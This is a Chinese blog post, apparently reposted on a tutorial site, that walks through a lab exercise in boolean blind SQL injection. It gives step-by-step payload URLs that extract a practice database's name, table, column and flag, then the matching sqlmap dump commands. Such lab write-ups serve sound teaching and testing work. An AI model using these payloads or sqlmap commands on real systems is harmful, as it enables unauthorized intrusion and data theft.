sql 盲注理解
2021/7/6 2:28:56
本文主要是介绍sql 盲注理解,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
徒手盲注
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(database())>11 当为>12,显示错误 所以数据库字符为12
然后对数据库名字进行猜测
第一个字符为
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),1,1))=107 第一个为k 然后依次 http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),2,1))=97 第二个为a http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),3,1))=110 第三个为n http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),4,1))=119 第四个为w
综上所述
得出总的
kanwolongxia
猜解表的个数
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
3个
表名称的长度
# 1.查询列出当前连接数据库下的所有表名称 select table_name from information_schema.tables where table_schema=database() # 2.列出当前连接数据库中的第1个表名称 select table_name from information_schema.tables where table_schema=database() limit 0,1 # 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符 substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1) # 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值 length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) # 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
知道了表名为6位
表名的猜测
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108
猜的第一个表的字符为l
然后依次探测
为
loflag
猜解表中的字段名
# 判断[loflag表]中的字段数目 (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx # 判断在[loflag表]中是否存在某个字段(调整column_name取值进行尝试匹配) (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1 上面的这两个不行,试的时间太长,太搞人心态了 # 猜解第i+1个字段的字符长度 length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx # 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位) ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
看loflag表中的字段数目
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='loflag')=2
2列,即两个字段
看loflag表中的各个字段的名称
通过猜测,但没有用
试过了不行
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 然后列名字换不同的,发现还是不对
然后猜字段位数
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1))=2 第一个字段为2位 http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1))=6 第二个字段为6位
然后字段的位数猜名字
对那个5位的进行猜测
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1))=102 知道了第一个为f 然后依次可知 l a g l o 可得字段为flaglo
loflag表中存在flaglo
然后对字段的各行的值进行猜测
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select flaglo from loflag limit 0,1),1))=8 可以知道loflag表中的字段flaglo的第一行的flaglo的字符数为8个 查看下一个pass的就是 http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select flaglo from loflag limit 0,1),2))=7
然后进行对字段为flaglo的一行的字符为8的数值进行猜测
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select flaglo from loflag limit 0,1),1))=122 依次得出对应的
从而得出
zKaQ-QQQ
通过sqlmap跑
查看数据库
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --dbs
根据盲注,可知数据库为kanwolongxia
查看当前数据库
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --current-db
[20:47:28] [INFO] adjusting time delay to 1 second due to good response times kanwolongxia current database: 'kanwolongxia' [20:48:10] [INFO] fetched data logged to text files under 'C:\Users\27254\.sqlmap\output\injectx1.lab.aqlab.cn' [*] shutting down at 20:48:10
当前数据库的表
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --tables -D kanwolongxia
查看表里的内容
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --column -T loflag -D kanwolongxia
得出来有两列,分别是Id和flaglo
查看列的内容
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --dump -C Id,flaglo -T loflag -D kanwolongxia
使用bp爆破
dddd
参考链接:我的博客
这篇关于sql 盲注理解的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南